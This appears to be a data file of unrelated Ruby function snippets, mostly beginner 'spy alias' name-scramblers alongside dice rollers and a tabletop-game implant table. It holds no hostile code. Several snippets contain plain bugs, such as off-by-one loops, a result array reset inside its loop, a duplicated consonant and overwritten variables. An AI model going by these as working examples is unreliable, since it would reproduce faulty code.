"def aliasMaker(name)\r\n\tnewName = []\r\n\tnewName2 = []\r\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\r\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n\tstep1 = name.split(\" \")\r\n\ti = 0\r\n\tj = 0\r\n\r\n\twhile i <= step1.length\r\n\t\tnewName.push(step1[i])\r\n\t\ti += 1\r\n\tend\r\n\tnewName = newName.reverse\r\n\tnewName = newName.join(\" \")\r\n\tstep2 = newName\r\n\twhile j <= step2.length\r\n\t\tif isConsonant(step2[j]) == true\r\n\t\t\tnewName2.push(nextConsonant(step2[j]))\r\n\t\telsif isVowel(step2[j]) == true\r\n\t\t\tnewName2.push(nextVowel(step2[j]))\r\n\t\telse newName2.push(step2[j])\r\n\t\tend\r\n\t\tj += 1\r\n\tend\r\n\tanswer = newName2.join(\"\")\r\n\r\nend",
"def alias_generator(name)\n\nname = name.downcase\n\nvowels_lowcase = %w(a e i o u)\nvowels = vowels_lowcase\nconsonants_lowcase = (\"a\"..\"z\").to_a - vowels\nconsonants = consonants_lowcase\n\n# original = (vowels + consonants)\n# new_letters = (vowels.rotate + consonants.rotate)\n\nname_array = name.split\nname_reverse = name_array.reverse\n\nname_reverse.map! do |word|\n word_split = word.split(\"\")\n # name_reverse[1].split(\"\")\n\n word_split.map! do |letter|\n if vowels.include? letter\n index = vowels.index(letter)\n if letter == vowels.last\n letter = vowels.first\n else\n letter = vowels[index + 1]\n end\n else\n index = consonants.index(letter)\n if letter == consonants.last\n letter = consonants.first\n else\n letter = consonants[index + 1]\n end\n end\n end\n\n word_split[0] = word_split[0].upcase\n word_split.join('')\nend\n\nname_reverse.join(' ')\n# # p name_reverse.tr(original,new_letters)\n\n\n\nend",
"def create_alias(word)\n vowels_lower = ['a','e','i','o','u']\n vowels_upper = vowels_lower.map(&:upcase)\n consonants_lower = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n consonants_upper = consonants_lower.map(&:upcase)\n \nupdated_vowels = word.map do |char|\n case\n when vowels_lower.include?(char)\n vowels_lower.rotate(1)[vowels_lower.index(char)]\n when vowels_upper.include?(char)\n vowels_upper.rotate(1)[vowels_upper.index(char)]\n when consonants_lower.include?(char)\n consonants_lower.rotate(1)[consonants_lower.index(char)]\n when consonants_upper.include?(char)\n consonants_upper.rotate(1)[consonants_upper.index(char)]\n else (char)\nend\nend\nend",
"def fetch_alias(string) \n query = config[:dbh].prepare \"SELECT original FROM aliases WHERE alias = ?\"\n query.execute string\n\n if row = query.fetch\n return fetch_fact(row[0])\n end\n end",
"def random_statement(r)\n\tcase r.rand(6).to_i\n\twhen 0\n\t\treturn \" :D\"\n\twhen 1\n\t\treturn \" Yawn. I'm tired...\"\n\twhen 2\n\t\t#Dice because it was randomly generated\n\t\treturn \" 🎲🎲🎲\"\n\twhen 3\n\t\treturn \" D:\"\n\twhen 4\n\t\treturn \" Hm.\"\n\telse\n\t\treturn \" ~_~\"\n\tend\nend",
"def alias_modifier(full_name)\n low_vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n up_vowels = [\"A\", \"E\", \"I\", \"O\", \"U\"]\n low_consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n up_consonants = [\"B\", \"C\", \"D\", \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \"M\", \"N\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n full_name = full_name.split('')\n updated_name = full_name.map do |char|\n if low_vowels.include?(char)\n low_vowels.rotate[low_vowels.index(char)]\n elsif up_vowels.include?(char)\n up_vowels.rotate[up_vowels.index(char)]\n elsif low_consonants.include?(char)\n low_consonants.rotate[low_consonants.index(char)]\n elsif up_consonants.include?(char)\n up_consonants.rotate[up_consonants.index(char)]\n else\n char\n end\n end\n updated_name.join\nend",
"def alias_genrator\n done = false\n real_names = []\n spy_names = []\n\n puts \"Welcome to the super secret alias name generator. What is your full name?\"\n real_name = gets.chomp.downcase\n\n until done\n done = false\n\n real_name_array = real_name.split(' ') # Turn name into array\n\n real_first_name = real_name_array[0].capitalize # Gets and capitalizes first string in real_first_name\n real_last_name = real_name_array.last.capitalize # Gets and capitalizes last string in real_first_name\n\n real_names << real_first_name + \" \" + real_last_name # Stores real name to an array\n\n name_letters = real_name.split('') # Turns user input into array of letters\n\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\" ]\n\n index = 0\n name_letters.each do |letter| # Checks each letter in name_letters to see if the letter is in the vowels array\n if letter == \"u\"\n name_letters[index] = \"a\"\n elsif\n if vowels.include?(letter) # If it is, store the index of the vowel plus one\n vowel_index = vowels.index(letter)+1\n name_letters[index] = vowels[vowel_index] # Store the new letter in the corresponding index of name_letters\n end\n end\n index+=1\n end\n\n index = 0\n name_letters.each do |letter| # Checks each letter in name_letters to see if the letter is in the consonants array\n if letter == \"z\"\n name_letters[index] = \"b\"\n elsif\n if consonants.include?(letter) # If it is, store the index of the consonants plus one\n consonant_index = consonants.index(letter)+1\n name_letters[index] = consonants[consonant_index] # Store the new letter in the corresponding index of name_letters\n end\n end\n index+=1\n end\n\n new_full_name = name_letters.join('').split(' ') # Joins the new letters of name_letters and splits it into two strings\n\n # In case spy's real name includes a middle name\n first_name = new_full_name[0].capitalize # Gets and capitalizes first string in new_full_name\n last_name = new_full_name.last.capitalize # Gets and capitalizes last string in new_full_name\n\n alias_name = last_name + \" \" + first_name\n\n spy_names << alias_name # Stores alias into an array\n\n p \"Great, your cool new alias is #{alias_name}! Enter another name or type 'done' to exit.\"\n answer = gets.chomp.downcase\n\n if answer == \"done\" # Checks if user is done\n done = true\n else\n real_name = answer\n end\n end\n\n num_of_spies = real_names.length # Gets the number of spies\n counter = 0\n\n while counter < num_of_spies\n p \"#{spy_names[counter]} is really #{real_names[counter]}\" # Prints spies real names and aliases\n counter+=1\n end\nend",
"def alias_generator(agent)\n\n# changes vowels into array and uses .reverse method to account \n# for edge cases\n\tvowels = \"aeiou\"\n\tnew_vowels = \"aeiou\".split('').reverse\n\n# changes consonants into array and uses .reverse method to account\n# for edge cases\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\tnew_consonants = \"bcdfghjklmnpqrstvwxyz\".split('').reverse\n\n# defines variables for user input and parameter\n\treal_name = agent\n\n# swaps first and last names and turns them into arrays \n\treversed_real_name = real_name.downcase.split(' ').reverse\n \talias_name_array = reversed_real_name.join(' ').split('')\n\n # maps the new array through the indices of the vowel and consonant arrays\n \taltered_name = alias_name_array.map do |char| \n if vowels.include?(char)\n # if there is a vowel, it will map to the next vowel\n new_vowels[new_vowels.index(char)-1]\n elsif consonants.include?(char)\n # if there is a consonant, it will map to the next consonant\n new_consonants[new_consonants.index(char)-1]\n else\n # accounts for space or another character\n char\n end\n end \n\n# takes the newly mapped array, joins it back together and capitalizes it\n\tnew_alias = altered_name.join.split.map!{ |name| name.capitalize }.join(\" \")\nend",
"def alias_generator(name)\n name_ord_reversed = name.split(' ').reverse\n name_ord_reversed = name_ord_reversed.join(\" \")\n name_ord_reversed = name_ord_reversed.split('')\n p name_ord_reversed\n vowels = \"aeiou\"\n vowels_array = vowels.split('')\n p vowels_array\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n consonants_array = consonants.split('')\n p consonants_array\n index = 0 \n until index >= name.length do\n new_alias = []\n letter = name_ord_reversed[index]\n if letter == \" \"\n new_alias << letter\n elsif vowels.include? letter\n new_letter = vowels[index+1]\n new_alias << new_letter\n elsif consonants.include? letter\n new_letter = consonants[index+1]\n new_alias << new_letter\n end \n index += 1 \n end \n \n \n \n\n \nend",
"def aliases\n myAliases = \"\"\n if ['Mount ',' Mountain',' Peak'].any? {|word| self.name.include?(word)}\n short = shortname\n myAliases = \"#{short} Mountain, Mount #{short}, Mt. #{short}, Mt #{short}, #{shortname} mt, #{shortname} mtn, #{short} mtn., #{short} Peak\" \n end\n myAliases\n end",
"def to_s\n #a new variable for the output\n output_string = \"\"\n #making a variable to mess with so I don't screw up my instance variable\n # @alphabet.delete(\"Q\")\n # @alphabet.push(\"Qu\")\n 4.times do\n output_string << @dice.shuffle[0..15].shift(4).join(\" \") + \"\\n\"\n end\n\n # output_string = output_string + @alphabet[4..7].join(\" \") + \"\\n\"\n #print the output\n puts output_string\n end",
"def roll_dices\n @dices = Hazard.s2d6\n end",
"def print_alias(*) end",
"def dice_roll\n return (rand(6) + 1)\n end",
"def alias_creator(nickname)\nvowels=\"aeiou\"\nconsonants=\"bcdfghjklmnpqrstvwxyz\"\n#consonants exclude all vowels\n\nnickname_split=nickname.split(\"\")\nnew_nickname=[]\n#The translated nickname will be saved in the new_nickname arrawy\n\nnickname_split.map! do |x|\n\tif vowels.include?(x)\n\t\tnew_nickname << vowels[vowels.index(x)+1]\n\telsif consonants.include?(x)\n\t\tnew_nickname << consonants[consonants.index(x)+1]\n\telsif x == \" \"\n\t\tnew_nickname << \" \"\n\tend\nend\nnew_nickname.join(\"\").split.map {|x| x.capitalize}.join(\" \")\n#We are doing this so that we capitalize the first letter of both words\nend",
"def create_spy_alias(name)\n swapped_name = name_swapper(name) #-> 'Torres Felicia'\n swapped_vowels = vowel_swapper(swapped_name) #-> 'Turris Femidia'\n swapped_consonants = consonatn_swapper(swapped_vowels) #=> 'Vussit Gimodoe'\n swapped_consonants\nend",
"def hot_dice(roll)\n while roll.length > 0\n asides << roll.shift\n end\n end",
"def roll_dice\n dice = rand(6) + 1\n end",
"def alias_method\n name = \"\"\n name_2 = \"\"\n until name == \"quit\"\n puts \"what is your name? type quit to exit\"\n alias_name = {\n :name_1 => name_2\n }\n name = gets.chomp\n if name != \"quit\"\n alias_name[:name_1] = name\n name_2 = name.split(\" \").reverse.join(\" \").tr('aeiou', 'eioua').tr('bcdfghjklmnpqrstvwxyz', 'cdfghjklmnpqrstvwxyzb')\n break if name == \"quit\"\n end\n end\n alias_name.each do |name_1, name_2|\n p \"#{name_1} is actually #{name_2}!\"\n end\nend",
"def roll_dice(sides, dice)\n\tfor i in 1..dice\n\t\tresult = 1 + rand(sides)\n\t\tif result == sides\n\t\t\t# this is fixed \n\t\t\tputs result.to_s.red\n\t\telse\n\t\t\tputs result\n\t\tend\n\tend\nend",
"def dance\n return 'Dancing'\n end",
"def alias_creator (str)\n# downcase all characters incase the name had initial caps.\nstr = str.downcase\t\n\n# create vowel string for cross checking each character (I ADDED 3 REPEATING VOWEL SEGMENTS TO PREVENT EDGE CASE FROM BREAKING WHEN ENCODING A VOEWEL AT THE END OF THE STRING LIKE U in \"AEIOU\") \nvowels = \"aeiouaeiouaeiou\"\n# create consonant string for cross checking each character\nconsonants = \"bcdfghjklmnpqrstvwxz\"\n# create empty strings that encoded first and last names will be stored in.\nname_alias = \"\"\n# create empty string to create an encoded full name \nspy_alias = \"\"\n=begin encoding names \n 1.taking the first name string and iterate through each character \n 2. check if vowels string includes current character in first name string\n 3. if it does access the letter in vowels string by its index, increment that index by one\n add that new letter to the alias string. \n 4. if the current character is a consonant it will go through the same process but using the consonants string\n 5. if the current character is a space a space will be added to the encoded string. \n=end\n \n str.each_char do |char| \n \tif char == \" \"\n name_alias+= \" \"\n\n \telsif vowels.include?(char)\n \t\tname_alias += vowels[vowels.index(char).next]\n \n elsif consonants.include?(char)\n \tname_alias += consonants[consonants.index(char).next]\n\n \n\n end \n \t\n end\n # check if the string that was encoded was a full name or just a first or last name\n # if it is a full name. sperate the first and last name and reverse the order (Lastname Firstname)\n \n if name_alias.include?(\" \")\n swap_name = name_alias.split(\" \")\n spy_alias = swap_name[1] + \" \" +swap_name[0]\n else spy_alias = name_alias\n end \n \n \n return spy_alias\n\n\nend",
"def spy_alias(real_name)\r\n\treal_name.gsub!(/[aeiou]/, \"a\" => \"e\", \"e\" => \"i\", \"i\" => \"o\", \"o\" => \"u\", \"u\" => \"a\") \r\n\treal_name.gsub!(/[bcdfghjklm]/, \"b\" => \"c\", \"c\" => \"d\", \"d\" => \"f\", \"f\" => \"g\", \"g\" => \"h\", \"h\" => \"j\", \"j\" => \"l\", \"l\" => \"m\", \"m\" => \"n\") \r\n\treal_name.gsub!(/[npqrstvwxyz]/, \"n\" => \"p\", \"p\" => \"r\", \"r\" => \"s\", \"s\" => \"t\", \"t\" => \"v\", \"v\" => \"w\", \"w\" => \"x\", \"x\" => \"y\", \"y\" => \"z\", \"z\" => \"b\")\r\nend",
"def roll_dice( dice_command, roll_count )\n begin\n puts \"Executing #{roll_count} roll(s) of #{dice_command}\"\n results, total = Dice.new( dice_command ).roll( roll_count )\n puts \"Result: [#{results.join(', ')}] => #{total}\" \n rescue Exception => e\n puts \"Roll error: #{e}\"\n end\nend",
"def shout_out_to(name)\n # name = name.chars.each { |c| c.upcase! }.join\n name.upcase!\n puts 'HEY ' + name\nend",
"def show\n [email protected]_number #Number of dice\n [email protected]_sides #sides\n @roll_array = [] #array to store multiple results of dices\n number.times do\n @roll_array << (rand(sides) + 1)\n end\n @total = 0\n @roll_array.each do |roll|\n new_total = @total + roll\n @total = new_total #total of all results\n end\n return @roll_array,@total\n end",
"def generate_attack_string(attack_option)\n weapon_class_ids = attack_option.weapon_class_ids\n skills_ranks = skills_ranks_hash\n base = self.active_offense_bonus + attack_option.attack_bonus + skills_bonus(skills_ranks, :accuracy_boost, weapon_class_ids)\n e_mod = attack_option.energy_modifier + skills_bonus(skills_ranks, :attack_energy_mod_boost, weapon_class_ids)\n dice = attack_dice(attack_option)\n \"#{e_mod} x Energy Input + #{base} + #{dice}\"\n end",
"def roll_dice(upper_limit)\n number = rand(1..upper_limit)\n puts \"You rolled a \" + number.to_s\nend",
"def roll\n di = [1,2,3,4,5,6]\n di_roll = rand(6)\n di[di_roll]\nend",
"def hit damage\n out = ''\n p_up = rand charisma\n if p_up % 9 == 7\n @life += p_up / 4\n out << \"[#{self.name} magick powers up #{p_up}!]\\n\"\n end\n @life -= damage\n out << \"[#{self.name} has died.]\\n\" if @life <= 0\n out\n end",
"def whats_for_dessert\n \"Tonight we have #{dessert_item_count} delicious desserts: #{dessert_format_subcats}.\"\n end",
"def alias_manager(covert_spy_name)\n\n spy_name = covert_spy_name.downcase.split(' ')\n reversed_spy_name = spy_name.reverse\n first_name = reversed_spy_name.first.to_s\n last_name = reversed_spy_name.last.to_s\n full_name = first_name + \" \" + last_name\n full_name_id = full_name.gsub(/[abcdefghijklmnopqrstuvwxyz]/, 'a' => 'e', 'b' => 'c', 'c' => 'd', 'd' => 'f', 'e' => 'i', 'f' => 'g', 'g' => 'h', 'h' => 'j', 'i' => 'o', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'n' => 'p', 'o' => 'u', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 't' => 'v', 'u' => 'a', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z', 'z' => 'b')\n full_name_idx = full_name_id.split.map {|x| x.capitalize}.join(' ')\nend",
"def offensive_implants_results(roll)\n def weapon_arm_roll(roll) # Hub Rules p. 92\n case\n when 1..4\n @@implants << \"Weapon Arm ~ Razor Sword\"\n when 5..9\n @@implants << \"Weapon Arm ~ Spring Spike\"\n when 10..14\n @@implants << \"Weapon Arm ~ Discsaw\"\n @@equipment << \"Discsaw #{d(4)} power cells\"\n when 15..18\n @@implants << \"Weapon Arm ~ Chainsaw\"\n @@equipment << \"Chainsaw #{d(4)} power cells\"\n when 19..21\n @@implants << \"Weapon Arm ~ Laser Torch\"\n @@equipment << \"Laser torch #{d(4)} power cells\"\n when 22..25\n @@implants << \"Weapon Arm ~ Stun stick\"\n @@equipment << \"Stun stick #{d(6)} mini power cells\"\n when 26..29\n @@implants << \"Weapon Arm ~ Stun Pistol\"\n @@equipment << \"Stun pistol #{d(6)} power cells\"\n when 30..35\n @@implants << \"Weapon Arm ~ Laser sword\"\n @@equipment << \"Laser sword #{d(6)} power cells\"\n when 36..39\n @@implants << \"Weapon Arm ~ Assault shotgun\"\n @@equipment << \"Assault shotgun #{d(2)} 40-round drum, #{d(20)} loose shells\"\n when 40..43\n @@implants << \"Weapon Arm ~ Sniper rifle\"\n @@equipment << \"Sniper rifle #{d(2)} full mags, #{d(20)} loose HCR shells\"\n when 44..50\n @@implants << \"Weapon Arm ~ Submachine gun\"\n @@equipment << \"SMG #{d(2)} full mags, #{d(100)} loose pistol rounds\"\n when 51..60\n @@implants << \"Weapon Arm ~ Assault rifle\"\n @@equipment << \"AR #{d(3)} full mags, #{d(100)} loose rifle rounds\"\n when 61..64\n @@implants << \"Weapon Arm ~ Rocket launcher\"\n @@equipment << \"#{(d(6)+d(6))} battle rockets\"\n when 65..68\n @@implants << \"Weapon Arm ~ Flamethrower\"\n @@equipment << \"Flamethrower #{(d(6)+1)} fuel canisters\"\n when 69..76\n @@implants << \"Weapon Arm ~ Chain gun\"\n @@equipment << \"Chain gun ammo drum (200-rd) and #{d(100)} loose rifle rounds\"\n when 77..79\n @@implants << \"Weapon Arm ~ Chain gun\"\n @@equipment << \"Chain gun ammo belt pack with #{d(100) + 100} rifle rounds\"\n when 80..84\n @@implants << \"Weapon Arm ~ Heavy machine gun\"\n @@equipment << \"HMG 100-round drum and #{d(100)} loose HCR rounds\"\n when 85..87\n @@implants << \"Weapon Arm ~ Heavy machine gun\"\n @@equipment << \"HMG ammo belt pack with #{d(100) + 100} HCR rounds\"\n when 88..92\n @@implants << \"Weapon Arm ~ Laser carbine\"\n @@equipment << \"Laser carbine #{d(6) + 1} power cells\"\n when 93..94\n @@implants << \"Weapon Arm ~ Heavy laser carbine\"\n @@equipment << \"HLC #{d(6) + 1} power cells\"\n when 95..96\n @@implants << \"Weapon Arm ~ Pulse rifle\"\n @@equipment << \"Pulse rifle #{d(6) + 1} power cells\"\n when 97\n @@implants << \"Weapon Arm ~ Pulse rifle\"\n @@equipment << \"Pulse rifle power pack: 250 bursts\"\n when 98\n @@implants << \"Weapon Arm ~ Heavy pulse rifle\"\n @@equipment << \"Heavy pulse rifle #{d(6) + 1} power cells\"\n when 99\n @@implants << \"Weapon Arm ~ Light laser cannon (cyborg mod)\"\n @@equipment << \"1 light laser cannon power pack\"\n when 100\n 2.times do weapon_arm_roll(d(100))\n end\n end\n\n # Default attack: attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"Hub Rules p.\", :notes => \"Notes\"}\n\n case roll\n when 1..6\n @@implants << \"Alloy Razor Claws\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 7..10\n @@implants << \"Fold Out Manipulator Arm ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 11..14\n @@implants << \"Hypodermic Tendril ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 15..18\n @@implants << \"Manipulator Tendril ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 19..24\n @@implants << \"Pincer ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 25..30\n @@implants << \"Power Arm ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 31..36\n @@implants << \"Retractable Laser Pistol ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 37..39\n @@implants << \"Shoulder Turret\"\n @@attacks = {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 40..45\n @@implants << \"Telescoping Thrust Blade\"\n @@attacks = {:attack_mode => \"Thrust Blade Implant\", :SV => \"+60/+8\", :rate => 1, :range => \"2m\", :damage => \"d20+10\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"92\", :notes => \"+60SV and +5 initiative to first attack per combat, +8SV after\"}\n when 46..50\n @@implants << \"Tentacle ~\"\n @@attacks = {:attack_mode => \"Tentacle Implant\", :SV => \"+10\", :rate => 1, :range => \"3m\", :damage => \"d12 + 4 stun or lethal\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"92\", :notes => \"Tentacle has DV -20, END 20\"}\n @@appearance = [@@appearance - (d(6)+3), 1].max\n when 51..100\n weapon_arm_roll(d(100))\n\n end\n end\n\n def defensive_implants_results(roll)\n case roll\n when 1..8\n @@implants << \"Anti Toxin Array **\"\n when 9..48\n @@implants << \"Armor Enhancement ~\"\n when 49..55\n @@implants << \"Electrical Defense Mechanism\"\n when 56..59\n @@implants << \"Energy Absorption Cell\"\n when 60..73\n @@implants << \"Force Field Generator\"\n when 74..79\n @@implants << \"Force Shield\"\n when 80..84\n @@implants << \"Mental Defense Screen\"\n when 85..87\n @@implants << \"Optical Concealment Generator\"\n when 88..92\n @@implants << \"Radiation Leeching Unit\"\n when 93..95\n @@implants << \"Smoke Screen Generator\"\n when 96..97\n @@implants << \"Sonic Defense Screen\"\n when 98..100\n @@implants << \"Stun Inhibitor Device\"\n end\n end\n\n def misc_implants_results(roll)\n case roll\n when 1..7\n @@implants << \"Artificial Heart **\"\n when 8..13\n @@implants << \"Atmospheric Hydro Converter\"\n when 14..18\n @@implants << \"Back-Up Sensor Array\"\n when 19..23\n @@implants << \"Communication Implant ~\"\n when 24..27\n @@implants << \"Computerized Brain\"\n when 28..30\n @@implants << \"Cybernetic Legs\"\n when 31..33\n @@implants << \"Detachable Lower Arm\"\n when 34..36\n @@implants << \"Floodlight Orb\"\n when 37..41\n @@implants << \"Grappling Hook\"\n when 42..46\n @@implants << \"Hover Jets\"\n when 47..51\n @@implants << \"Hydraulic Walker Legs\"\n when 52..54\n @@implants << \"Internal Gyroscope\"\n when 55..58\n @@implants << \"Internal Healer Drones\"\n when 59..61\n @@implants << \"Internal Nutriment Supply\"\n when 62..64\n @@implants << \"Iron Stomach\"\n when 65..67\n @@implants << \"Loudspeaker\"\n when 68..69\n @@implants << \"Mini-Robotics Hanger\"\n when 70..79\n @@implants << \"Optical Enhancement ~\"\n when 80..83\n @@implants << \" Oxygen Supply Unit\"\n when 84..86\n @@implants << \"Panoramic Optics Node\"\n when 87..89\n @@implants << \"Portable Computer Station\"\n when 90..91\n @@implants << \"Radio Scanner\"\n when 92..93\n @@implants << \"Self Destruct Mode\"\n when 94..95\n @@implants << \"Sensor Probe Launcher\"\n when 96..97\n @@implants << \"Solar Power Generator\"\n when 98\n @@implants << \"Surveillance Tendril ~\"\n when 99..100\n @@implants << \"Tracked Locomotion\"\n end\n end\n\n off_implants.times do\n offensive_implants_results(d(100))\n end\n\n def_implants.times do\n defensive_implants_results(d(100))\n end\n\n misc_implants.times do\n misc_implants_results(d(100))\n end\n end",
"def fake_identities(real_name)\n\n # input is downcase, split, and has reverse positions\n new_alias = real_name.downcase.split(' ').reverse\n # use map! to mutate name\n new_alias.map! {|name_info| name_info.split('')}\n\n new_alias.map! do |name_info|\n name_info.map! do |vowel|\n\n if vowel == \"z\"\n vowel = \"a\"\n elsif next_vowels(vowel) == vowel\n vowel.next!\n if next_vowels(vowel) != vowel\n vowel.next!\n end\n vowel\n else\n next_vowels(vowel)\n end\n end\n # returns a string and capitalizes first letter\n name_info.join('').capitalize\n end\n new_alias.join(' ') # keeps blank space here, otherwise it doesnt work\nend",
"def dice_outcomes(dice = 1, rolls = 1)\n# I used an array method instead of a hash method as I found it easier to match the example output chart\n tracker = 0\n copies = []\n# first create an arry of all outcomes called copies\n while rolls > tracker\n growth = 0\n outcome = 0\n while dice > growth\n outcome += 1 + rand(6)\n growth += 1\n end\n copies << outcome\n tracker += 1\n end\n unique = []\n chart = []\n limit = 0\n# now create an array of the unique values in the copies array called unique\n copies.each do |original|\n if !unique.include?(original)\n unique << original\n end\n end\n unique.sort!\n# delete the unique values from the copies array so only the duplicate values remain\n unique.each do |del|\n copies.delete_at(copies.index(del))\n end\n# format the values of the copies and unique arrays for display in the chart array\n unique.map { |formaty|\n chart << (formaty.to_s + \": #\")\n }\n copies.each do |hashify|\n hashy = chart[unique.index(hashify)]\n hashy.replace(hashy + \"#\")\n end\n puts \"#{dice.to_s} dice were rolled #{rolls} times to produce the following results\"\n puts chart\nend",
"def shout_out_to(name)\n # name.chars.each { |c| c.upcase! }\n name = name.chars.each { |c| c.upcase! }.join\n puts 'HEY ' + name\nend",
"def report\n output = \"#{@total}\\n\"\n output += \"#{@string}:\\n\"\n @dice_sets.each do |set|\n output += \"#{set.to_s}\\n\"\n end\n @mods.each do |mod|\n output += \"+\" if mod >= 0\n output += \"#{mod}\\n\"\n end\n \n output\n end",
"def roll(message, dice = '1d20')\n result = Die.roll(dice.split(' '))\n if result.is_a?(Integer)\n result = \"#{message.user.nick} rolls #{dice} totalling #{result}\"\n end\n message.reply result\n end",
"def dice_roll\n rand(1..6)\n end",
"def alias_name(name)\n\tchar_index = 0 \n\talias_response = \"\"\n\t\twhile char_index < name.length\n\t\t\talias_response << new_name(name.downcase[char_index])\n\t\t\tchar_index += 1\n\t\tend\n\talias_response\nend",
"def shout(string)\n\t\t\tstring.upcase\t\t\n\t\tend",
"def roll\n dice = [1, 2, 3, 4, 5, 6]\n dice_roll = dice[rand(dice.length)]\nend",
"def alias_manager(name)\n name = name.downcase\n name = name.split(\" \").reverse.join(\" \")\n name = name.split(\"\")\n index = 0\n consonant = \"bcdfghjklmnpqrstvwqyz\"\n vowel = \"aeiou\"\n while index < name.length\n if\n !consonant.index(name[index]) && !vowel.index(name[index])\n elsif\n index_of_letter = vowel.index(name[index])\n new_letter = vowel[index_of_letter + 1]\n name[index] = new_letter\n else\n index_of_letter = consonant.index(name[index])\n new_letter = consonant[index_of_letter + 1]\n name[index]= new_letter\n end\n index += 1\n end\n name.join(\"\")\nend",
"def yell\n \"Who's the boss? I'm the boss!\"\n end",
"def yay(name)\n # Interpolate string - performs .to_s on variable name and adds it in\n # the appropriate place in the string\n puts \"#{name} is great!\" \n end",
"def create_alias(name)\n reversed_name = name.split(' ').reverse.join(' ')\n aliased_array = reversed_name.chars.map { |letter| increment_letter(letter) }\n capitalize_all(aliased_array.join)\nend",
"def roll(args, nick)\n if(!args || args.empty?)\n return SCRIPT_DESC\n end\n \n if args =~ /^(\\d+)/\n # starts with an integer we can use to roll\n @count = $1.to_i\n @text = $'.strip\n if @text =~ /^d(\\d+)/\n # we also have a type of dice to roll\n @sides = $1.to_i\n @text = $'.strip\n if @text =~ /^\\s*([+-])\\s*(\\d+)/\n # we also have a number to add to the result\n @add = $2.to_i\n @roll = \"d(#{@count}, #{@sides})#{$1}#{@add}\"\n @src = \"#{@count}d#{@sides}#{$1}#{@add}\"\n # the rest is our text\n @text = $'.strip\n else\n # we don't have a plus to the roll\n @roll = \"d(#{@count}, #{@sides})\"\n @src = \"#{@count}d#{@sides}\" \n end\n else\n # We don't have a type, just a number, so we go 1..@count\n @roll = \"d(1, #{@count})\"\n @src = \"1d#{@count}\"\n end\n else\n # we didn't even start with a number, so we roll 1..20\n @roll = \"d(1, 20)\"\n @src = \"1d20\"\n @text = args\n end\n \n # debug(\"#{@roll}\")\n begin \n @val = eval @roll\n rescue ArgumentError\n return SCRIPT_DESC\n end\n\n if(@val < 1)\n @val = 1\n end\n return \"#{nick} rolled #{@val} (#{@src}) #{@text}\"\nend",
"def alias_maker(name)\n \n consonants = \"bcdfghjklmnpqrstvwxz\"\n next_cons = \"cdfghjklmnpqrstvwxzb\"\n \n name.downcase.tr(consonants,next_cons)\n .tr('aeiouy', 'eiouya')\n .split.reverse.each {|word| word.capitalize!}\n .join(' ')\n\n # Separated methods on lines 24-27 for readability\n # First .tr changes all consonants to next\n # Second .tr changes all vowels to next vowel\n # Split names to reverse and capitalize them\n # Rejoin to a single string\n\nend",
